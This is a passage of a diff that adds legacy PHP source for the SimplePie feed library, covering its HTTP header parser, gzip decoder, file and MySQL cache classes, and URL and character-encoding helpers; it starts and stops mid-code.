($this->is_linear_whitespace()) + { + $this->linear_whitespace(); + } + else + { + switch ($this->data[$this->position]) + { + case '"': + $this->position++; + $this->state = 'quote'; + break; + + case "\x0A": + $this->position++; + $this->state = 'new_line'; + break; + + default: + $this->state = 'value_char'; + break; + } + } + } + + /** + * Parse a header value while outside quotes + * + * @access private + */ + function value_char() + { + $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); + $this->value .= substr($this->data, $this->position, $len); + $this->position += $len; + $this->state = 'value'; + } + + /** + * See what state to move to while within quoted header values + * + * @access private + */ + function quote() + { + if ($this->is_linear_whitespace()) + { + $this->linear_whitespace(); + } + else + { + switch ($this->data[$this->position]) + { + case '"': + $this->position++; + $this->state = 'value'; + break; + + case "\x0A": + $this->position++; + $this->state = 'new_line'; + break; + + case '\\': + $this->position++; + $this->state = 'quote_escaped'; + break; + + default: + $this->state = 'quote_char'; + break; + } + } + } + + /** + * Parse a header value while within quotes + * + * @access private + */ + function quote_char() + { + $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); + $this->value .= substr($this->data, $this->position, $len); + $this->position += $len; + $this->state = 'value'; + } + + /** + * Parse an escaped character within quotes + * + * @access private + */ + function quote_escaped() + { + $this->value .= $this->data[$this->position]; + $this->position++; + $this->state = 'quote'; + } + + /** + * Parse the body + * + * @access private + */ + function body() + { + $this->body = substr($this->data, $this->position); + $this->state = 'emit'; + } +} + +/** + * gzdecode + * + * @package SimplePie + */ +class SimplePie_gzdecode +{ + /** + * Compressed data + * + * @access private + * @see gzdecode::$data + */ + var $compressed_data; + + /** + * Size of compressed data + * + * @access private + */ + var $compressed_size; + + /** + * Minimum size of a valid gzip string + * + * @access private + */ + var $min_compressed_size = 18; + + /** + * Current position of pointer + * + * @access private + */ + var $position = 0; + + /** + * Flags (FLG) + * + * @access private + */ + var $flags; + + /** + * Uncompressed data + * + * @access public + * @see gzdecode::$compressed_data + */ + var $data; + + /** + * Modified time + * + * @access public + */ + var $MTIME; + + /** + * Extra Flags + * + * @access public + */ + var $XFL; + + /** + * Operating System + * + * @access public + */ + var $OS; + + /** + * Subfield ID 1 + * + * @access public + * @see gzdecode::$extra_field + * @see gzdecode::$SI2 + */ + var $SI1; + + /** + * Subfield ID 2 + * + * @access public + * @see gzdecode::$extra_field + * @see gzdecode::$SI1 + */ + var $SI2; + + /** + * Extra field content + * + * @access public + * @see gzdecode::$SI1 + * @see gzdecode::$SI2 + */ + var $extra_field; + + /** + * Original filename + * + * @access public + */ + var $filename; + + /** + * Human readable comment + * + * @access public + */ + var $comment; + + /** + * Don't allow anything to be set + * + * @access public + */ + function __set($name, $value) + { + trigger_error("Cannot write property $name", E_USER_ERROR); + } + + /** + * Set the compressed string and related properties + * + * @access public + */ + function SimplePie_gzdecode($data) + { + $this->compressed_data = $data; + $this->compressed_size = strlen($data); + } + + /** + * Decode the GZIP stream + * + * @access public + */ + function parse() + { + if ($this->compressed_size >= $this->min_compressed_size) + { + // Check ID1, ID2, and CM + if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") + { + return false; + } + + // Get the FLG (FLaGs) + $this->flags = ord($this->compressed_data[3]); + + // FLG bits above (1 << 4) are reserved + if ($this->flags > 0x1F) + { + return false; + } + + // Advance the pointer after the above + $this->position += 4; + + // MTIME + $mtime = substr($this->compressed_data, $this->position, 4); + // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness + if (current(unpack('S', "\x00\x01")) === 1) + { + $mtime = strrev($mtime); + } + $this->MTIME = current(unpack('l', $mtime)); + $this->position += 4; + + // Get the XFL (eXtra FLags) + $this->XFL = ord($this->compressed_data[$this->position++]); + + // Get the OS (Operating System) + $this->OS = ord($this->compressed_data[$this->position++]); + + // Parse the FEXTRA + if ($this->flags & 4) + { + // Read subfield IDs + $this->SI1 = $this->compressed_data[$this->position++]; + $this->SI2 = $this->compressed_data[$this->position++]; + + // SI2 set to zero is reserved for future use + if ($this->SI2 === "\x00") + { + return false; + } + + // Get the length of the extra field + $len = current(unpack('v', substr($this->compressed_data, $this->position, 2))); + $position += 2; + + // Check the length of the string is still valid + $this->min_compressed_size += $len + 4; + if ($this->compressed_size >= $this->min_compressed_size) + { + // Set the extra field to the given data + $this->extra_field = substr($this->compressed_data, $this->position, $len); + $this->position += $len; + } + else + { + return false; + } + } + + // Parse the FNAME + if ($this->flags & 8) + { + // Get the length of the filename + $len = strcspn($this->compressed_data, "\x00", $this->position); + + // Check the length of the string is still valid + $this->min_compressed_size += $len + 1; + if ($this->compressed_size >= $this->min_compressed_size) + { + // Set the original filename to the given string + $this->filename = substr($this->compressed_data, $this->position, $len); + $this->position += $len + 1; + } + else + { + return false; + } + } + + // Parse the FCOMMENT + if ($this->flags & 16) + { + // Get the length of the comment + $len = strcspn($this->compressed_data, "\x00", $this->position); + + // Check the length of the string is still valid + $this->min_compressed_size += $len + 1; + if ($this->compressed_size >= $this->min_compressed_size) + { + // Set the original comment to the given string + $this->comment = substr($this->compressed_data, $this->position, $len); + $this->position += $len + 1; + } + else + { + return false; + } + } + + // Parse the FHCRC + if ($this->flags & 2) + { + // Check the length of the string is still valid + $this->min_compressed_size += $len + 2; + if ($this->compressed_size >= $this->min_compressed_size) + { + // Read the CRC + $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2))); + + // Check the CRC matches + if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) + { + $this->position += 2; + } + else + { + return false; + } + } + else + { + return false; + } + } + + // Decompress the actual data + if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) + { + return false; + } + else + { + $this->position = $this->compressed_size - 8; + } + + // Check CRC of data + $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4))); + $this->position += 4; + /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc)) + { + return false; + }*/ + + // Check ISIZE of data + $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4))); + $this->position += 4; + if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) + { + return false; + } + + // Wow, against all odds, we've actually got a valid gzip string + return true; + } + else + { + return false; + } + } +} + +class SimplePie_Cache +{ + /** + * Don't call the constructor. Please. + * + * @access private + */ + function SimplePie_Cache() + { + trigger_error('Please call SimplePie_Cache::create() instead of the constructor', E_USER_ERROR); + } + + /** + * Create a new SimplePie_Cache object + * + * @static + * @access public + */ + function create($location, $filename, $extension) + { + $location_iri =& new SimplePie_IRI($location); + switch ($location_iri->get_scheme()) + { + case 'mysql': + if (extension_loaded('mysql')) + { + return new SimplePie_Cache_MySQL($location_iri, $filename, $extension); + } + break; + + default: + return new SimplePie_Cache_File($location, $filename, $extension); + } + } +} + +class SimplePie_Cache_File +{ + var $location; + var $filename; + var $extension; + var $name; + + function SimplePie_Cache_File($location, $filename, $extension) + { + $this->location = $location; + $this->filename = $filename; + $this->extension = $extension; + $this->name = "$this->location/$this->filename.$this->extension"; + } + + function save($data) + { + if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location)) + { + if (is_a($data, 'SimplePie')) + { + $data = $data->data; + } + + $data = serialize($data); + + if (function_exists('file_put_contents')) + { + return (bool) file_put_contents($this->name, $data); + } + else + { + $fp = fopen($this->name, 'wb'); + if ($fp) + { + fwrite($fp, $data); + fclose($fp); + return true; + } + } + } + return false; + } + + function load() + { + if (file_exists($this->name) && is_readable($this->name)) + { + return unserialize(file_get_contents($this->name)); + } + return false; + } + + function mtime() + { + if (file_exists($this->name)) + { + return filemtime($this->name); + } + return false; + } + + function touch() + { + if (file_exists($this->name)) + { + return touch($this->name); + } + return false; + } + + function unlink() + { + if (file_exists($this->name)) + { + return unlink($this->name); + } + return false; + } +} + +class SimplePie_Cache_DB +{ + function prepare_simplepie_object_for_cache($data) + { + $items = $data->get_items(); + $items_by_id = array(); + + if (!empty($items)) + { + foreach ($items as $item) + { + $items_by_id[$item->get_id()] = $item; + } + + if (count($items_by_id) !== count($items)) + { + $items_by_id = array(); + foreach ($items as $item) + { + $items_by_id[$item->get_id(true)] = $item; + } + } + + if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) + { + $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; + } + elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) + { + $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; + } + elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) + { + $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; + } + elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0])) + { + $channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]; + } + else + { + $channel = null; + } + + if ($channel !== null) + { + if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'])) + { + unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']); + } + if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry'])) + { + unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']); + } + if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])) + { + unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']); + } + if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])) + { + unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']); + } + if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item'])) + { + unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']); + } + } + if (isset($data->data['items'])) + { + unset($data->data['items']); + } + if (isset($data->data['ordered_items'])) + { + unset($data->data['ordered_items']); + } + } + return array(serialize($data->data), $items_by_id); + } +} + +class SimplePie_Cache_MySQL extends SimplePie_Cache_DB +{ + var $mysql; + var $options; + var $id; + + function SimplePie_Cache_MySQL($mysql_location, $name, $extension) + { + $host = $mysql_location->get_host(); + if (SimplePie_Misc::stripos($host, 'unix(') === 0 && substr($host, -1) === ')') + { + $server = ':' . substr($host, 5, -1); + } + else + { + $server = $host; + if ($mysql_location->get_port() !== null) + { + $server .= ':' . $mysql_location->get_port(); + } + } + + if (strpos($mysql_location->get_userinfo(), ':') !== false) + { + list($username, $password) = explode(':', $mysql_location->get_userinfo(), 2); + } + else + { + $username = $mysql_location->get_userinfo(); + $password = null; + } + + if ($this->mysql = mysql_connect($server, $username, $password)) + { + $this->id = $name . $extension; + $this->options = SimplePie_Misc::parse_str($mysql_location->get_query()); + if (!isset($this->options['prefix'][0])) + { + $this->options['prefix'][0] = ''; + } + + if (mysql_select_db(ltrim($mysql_location->get_path(), '/')) + && mysql_query('SET NAMES utf8') + && ($query = mysql_unbuffered_query('SHOW TABLES'))) + { + $db = array(); + while ($row = mysql_fetch_row($query)) + { + $db[] = $row[0]; + } + + if (!in_array($this->options['prefix'][0] . 'cache_data', $db)) + { + if (!mysql_query('CREATE TABLE `' . $this->options['prefix'][0] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))')) + { + $this->mysql = null; + } + } + + if (!in_array($this->options['prefix'][0] . 'items', $db)) + { + if (!mysql_query('CREATE TABLE `' . $this->options['prefix'][0] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))')) + { + $this->mysql = null; + } + } + } + else + { + $this->mysql = null; + } + } + } + + function save($data) + { + if ($this->mysql) + { + $feed_id = "'" . mysql_real_escape_string($this->id) . "'"; + + if (is_a($data, 'SimplePie')) + { + if (SIMPLEPIE_PHP5) + { + // This keyword needs to defy coding standards for PHP4 compatibility + $data = clone($data); + } + + $prepared = $this->prepare_simplepie_object_for_cache($data); + + if ($query = mysql_query('SELECT `id` FROM `' . $this->options['prefix'][0] . 'cache_data` WHERE `id` = ' . $feed_id, $this->mysql)) + { + if (mysql_num_rows($query)) + { + $items = count($prepared[1]); + if ($items) + { + $sql = 'UPDATE `' . $this->options['prefix'][0] . 'cache_data` SET `items` = ' . $items . ', `data` = \'' . mysql_real_escape_string($prepared[0]) . '\', `mtime` = ' . time() . ' WHERE `id` = ' . $feed_id; + } + else + { + $sql = 'UPDATE `' . $this->options['prefix'][0] . 'cache_data` SET `data` = \'' . mysql_real_escape_string($prepared[0]) . '\', `mtime` = ' . time() . ' WHERE `id` = ' . $feed_id; + } + + if (!mysql_query($sql, $this->mysql)) + { + return false; + } + } + elseif (!mysql_query('INSERT INTO `' . $this->options['prefix'][0] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(' . $feed_id . ', ' . count($prepared[1]) . ', \'' . mysql_real_escape_string($prepared[0]) . '\', ' . time() . ')', $this->mysql)) + { + return false; + } + + $ids = array_keys($prepared[1]); + if (!empty($ids)) + { + foreach ($ids as $id) + { + $database_ids[] = mysql_real_escape_string($id); + } + + if ($query = mysql_unbuffered_query('SELECT `id` FROM `' . $this->options['prefix'][0] . 'items` WHERE `id` = \'' . implode('\' OR `id` = \'', $database_ids) . '\' AND `feed_id` = ' . $feed_id, $this->mysql)) + { + $existing_ids = array(); + while ($row = mysql_fetch_row($query)) + { + $existing_ids[] = $row[0]; + } + + $new_ids = array_diff($ids, $existing_ids); + + foreach ($new_ids as $new_id) + { + if (!($date = $prepared[1][$new_id]->get_date('U'))) + { + $date = time(); + } + + if (!mysql_query('INSERT INTO `' . $this->options['prefix'][0] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(' . $feed_id . ', \'' . mysql_real_escape_string($new_id) . '\', \'' . mysql_real_escape_string(serialize($prepared[1][$new_id]->data)) . '\', ' . $date . ')', $this->mysql)) + { + return false; + } + } + return true; + } + } + else + { + return true; + } + } + } + elseif ($query = mysql_query('SELECT `id` FROM `' . $this->options['prefix'][0] . 'cache_data` WHERE `id` = ' . $feed_id, $this->mysql)) + { + if (mysql_num_rows($query)) + { + if (mysql_query('UPDATE `' . $this->options['prefix'][0] . 'cache_data` SET `items` = 0, `data` = \'' . mysql_real_escape_string(serialize($data)) . '\', `mtime` = ' . time() . ' WHERE `id` = ' . $feed_id, $this->mysql)) + { + return true; + } + } + elseif (mysql_query('INSERT INTO `' . $this->options['prefix'][0] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(\'' . mysql_real_escape_string($this->id) . '\', 0, \'' . mysql_real_escape_string(serialize($data)) . '\', ' . time() . ')', $this->mysql)) + { + return true; + } + } + } + return false; + } + + function load() + { + if ($this->mysql && ($query = mysql_query('SELECT `items`, `data` FROM `' . $this->options['prefix'][0] . 'cache_data` WHERE `id` = \'' . mysql_real_escape_string($this->id) . "'", $this->mysql)) && ($row = mysql_fetch_row($query))) + { + $data = unserialize($row[1]); + + if (isset($this->options['items'][0])) + { + $items = (int) $this->options['items'][0]; + } + else + { + $items = (int) $row[0]; + } + + if ($items !== 0) + { + if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0])) + { + $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]; + } + elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0])) + { + $feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]; + } + elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0])) + { + $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]; + } + elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0])) + { + $feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]; + } + else + { + $feed = null; + } + + if ($feed !== null) + { + $sql = 'SELECT `data` FROM `' . $this->options['prefix'][0] . 'items` WHERE `feed_id` = \'' . mysql_real_escape_string($this->id) . '\' ORDER BY `posted` DESC'; + if ($items > 0) + { + $sql .= ' LIMIT ' . $items; + } + + if ($query = mysql_unbuffered_query($sql, $this->mysql)) + { + while ($row = mysql_fetch_row($query)) + { + $feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row[0]); + } + } + else + { + return false; + } + } + } + return $data; + } + return false; + } + + function mtime() + { + if ($this->mysql && ($query = mysql_query('SELECT `mtime` FROM `' . $this->options['prefix'][0] . 'cache_data` WHERE `id` = \'' . mysql_real_escape_string($this->id) . "'", $this->mysql)) && ($row = mysql_fetch_row($query))) + { + return $row[0]; + } + else + { + return false; + } + } + + function touch() + { + if ($this->mysql && ($query = mysql_query('UPDATE `' . $this->options['prefix'][0] . 'cache_data` SET `mtime` = ' . time() . ' WHERE `id` = \'' . mysql_real_escape_string($this->id) . "'", $this->mysql)) && mysql_affected_rows($this->mysql)) + { + return true; + } + else + { + return false; + } + } + + function unlink() + { + if ($this->mysql && ($query = mysql_query('DELETE FROM `' . $this->options['prefix'][0] . 'cache_data` WHERE `id` = \'' . mysql_real_escape_string($this->id) . "'", $this->mysql)) && ($query2 = mysql_query('DELETE FROM `' . $this->options['prefix'][0] . 'items` WHERE `feed_id` = \'' . mysql_real_escape_string($this->id) . "'", $this->mysql))) + { + return true; + } + else + { + return false; + } + } +} + +class SimplePie_Misc +{ + function time_hms($seconds) + { + $time = ''; + + $hours = floor($seconds / 3600); + $remainder = $seconds % 3600; + if ($hours > 0) + { + $time .= $hours.':'; + } + + $minutes = floor($remainder / 60); + $seconds = $remainder % 60; + if ($minutes < 10 && $hours > 0) + { + $minutes = '0' . $minutes; + } + if ($seconds < 10) + { + $seconds = '0' . $seconds; + } + + $time .= $minutes.':'; + $time .= $seconds; + + return $time; + } + + function absolutize_url($relative, $base) + { + $iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative); + return $iri->get_iri(); + } + + function remove_dot_segments($input) + { + $output = ''; + while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') + { + // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, + if (strpos($input, '../') === 0) + { + $input = substr($input, 3); + } + elseif (strpos($input, './') === 0) + { + $input = substr($input, 2); + } + // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, + elseif (strpos($input, '/./') === 0) + { + $input = substr_replace($input, '/', 0, 3); + } + elseif ($input === '/.') + { + $input = '/'; + } + // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, + elseif (strpos($input, '/../') === 0) + { + $input = substr_replace($input, '/', 0, 4); + $output = substr_replace($output, '', strrpos($output, '/')); + } + elseif ($input === '/..') + { + $input = '/'; + $output = substr_replace($output, '', strrpos($output, '/')); + } + // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, + elseif ($input === '.' || $input === '..') + { + $input = ''; + } + // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer + elseif (($pos = strpos($input, '/', 1)) !== false) + { + $output .= substr($input, 0, $pos); + $input = substr_replace($input, '', 0, $pos); + } + else + { + $output .= $input; + $input = ''; + } + } + return $output . $input; + } + + function get_element($realname, $string) + { + $return = array(); + $name = preg_quote($realname, '/'); + if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) + { + for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++) + { + $return[$i]['tag'] = $realname; + $return[$i]['full'] = $matches[$i][0][0]; + $return[$i]['offset'] = $matches[$i][0][1]; + if (strlen($matches[$i][3][0]) <= 2) + { + $return[$i]['self_closing'] = true; + } + else + { + $return[$i]['self_closing'] = false; + $return[$i]['content'] = $matches[$i][4][0]; + } + $return[$i]['attribs'] = array(); + if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER)) + { + for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++) + { + if (count($attribs[$j]) === 2) + { + $attribs[$j][2] = $attribs[$j][1]; + } + $return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]), 'UTF-8'); + } + } + } + } + return $return; + } + + function element_implode($element) + { + $full = "<$element[tag]"; + foreach ($element['attribs'] as $key => $value) + { + $key = strtolower($key); + $full .= " $key=\"" . htmlspecialchars($value['data']) . '"'; + } + if ($element['self_closing']) + { + $full .= ' />'; + } + else + { + $full .= ">$element[content]"; + } + return $full; + } + + function error($message, $level, $file, $line) + { + if ((ini_get('error_reporting') & $level) > 0) + { + switch ($level) + { + case E_USER_ERROR: + $note = 'PHP Error'; + break; + case E_USER_WARNING: + $note = 'PHP Warning'; + break; + case E_USER_NOTICE: + $note = 'PHP Notice'; + break; + default: + $note = 'Unknown Error'; + break; + } + error_log("$note: $message in $file on line $line", 0); + } + return $message; + } + + /** + * If a file has been cached, retrieve and display it. + * + * This is most useful for caching images (get_favicon(), etc.), + * however it works for all cached files. This WILL NOT display ANY + * file/image/page/whatever, but rather only display what has already + * been cached by SimplePie. + * + * @access public + * @see SimplePie::get_favicon() + * @param str $identifier_url URL that is used to identify the content. + * This may or may not be the actual URL of the live content. + * @param str $cache_location Location of SimplePie's cache. Defaults + * to './cache'. + * @param str $cache_extension The file extension that the file was + * cached with. Defaults to 'spc'. + * @param str $cache_class Name of the cache-handling class being used + * in SimplePie. Defaults to 'SimplePie_Cache', and should be left + * as-is unless you've overloaded the class. + * @param str $cache_name_function Obsolete. Exists for backwards + * compatibility reasons only. + */ + function display_cached_file($identifier_url, $cache_location = './cache', $cache_extension = 'spc', $cache_class = 'SimplePie_Cache', $cache_name_function = 'md5') + { + $cache = call_user_func(array($cache_class, 'create'), $cache_location, $identifier_url, $cache_extension); + + if ($file = $cache->load()) + { + if (isset($file['headers']['content-type'])) + { + header('Content-type:' . $file['headers']['content-type']); + } + else + { + header('Content-type: application/octet-stream'); + } + header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days + echo $file['body']; + exit; + } + + die('Cached file for ' . $identifier_url . ' cannot be found.'); + } + + function fix_protocol($url, $http = 1) + { + $url = SimplePie_Misc::normalize_url($url); + $parsed = SimplePie_Misc::parse_url($url); + if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https') + { + return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http); + } + + if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url)) + { + return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http); + } + + if ($http === 2 && $parsed['scheme'] !== '') + { + return "feed:$url"; + } + elseif ($http === 3 && strtolower($parsed['scheme']) === 'http') + { + return substr_replace($url, 'podcast', 0, 4); + } + elseif ($http === 4 && strtolower($parsed['scheme']) === 'http') + { + return substr_replace($url, 'itpc', 0, 4); + } + else + { + return $url; + } + } + + function parse_url($url) + { + $iri =& new SimplePie_IRI($url); + return array( + 'scheme' => (string) $iri->get_scheme(), + 'authority' => (string) $iri->get_authority(), + 'path' => (string) $iri->get_path(), + 'query' => (string) $iri->get_query(), + 'fragment' => (string) $iri->get_fragment() + ); + } + + function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '') + { + $iri =& new SimplePie_IRI(''); + $iri->set_scheme($scheme); + $iri->set_authority($authority); + $iri->set_path($path); + $iri->set_query($query); + $iri->set_fragment($fragment); + return $iri->get_iri(); + } + + function normalize_url($url) + { + $iri =& new SimplePie_IRI($url); + return $iri->get_iri(); + } + + function percent_encoding_normalization($match) + { + $integer = hexdec($match[1]); + if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E) + { + return chr($integer); + } + else + { + return strtoupper($match[0]); + } + } + + /** + * Remove bad UTF-8 bytes + * + * PCRE Pattern to locate bad bytes in a UTF-8 string comes from W3C + * FAQ: Multilingual Forms (modified to include full ASCII range) + * + * @author Geoffrey Sneddon + * @see http://www.w3.org/International/questions/qa-forms-utf-8 + * @param string $str String to remove bad UTF-8 bytes from + * @return string UTF-8 string + */ + function utf8_bad_replace($str) + { + if (function_exists('iconv') && ($return = @iconv('UTF-8', 'UTF-8//IGNORE', $str))) + { + return $return; + } + elseif (function_exists('mb_convert_encoding') && ($return = @mb_convert_encoding($str, 'UTF-8', 'UTF-8'))) + { + return $return; + } + elseif (preg_match_all('/(?:[\x00-\x7F]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})+/', $str, $matches)) + { + return implode("\xEF\xBF\xBD", $matches[0]); + } + elseif ($str !== '') + { + return "\xEF\xBF\xBD"; + } + else + { + return ''; + } + } + + /** + * Converts a Windows-1252 encoded string to a UTF-8 encoded string + * + * @static + * @access public + * @param string $string Windows-1252 encoded string + * @return string UTF-8 encoded string + */ + function windows_1252_to_utf8($string) + { + static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", 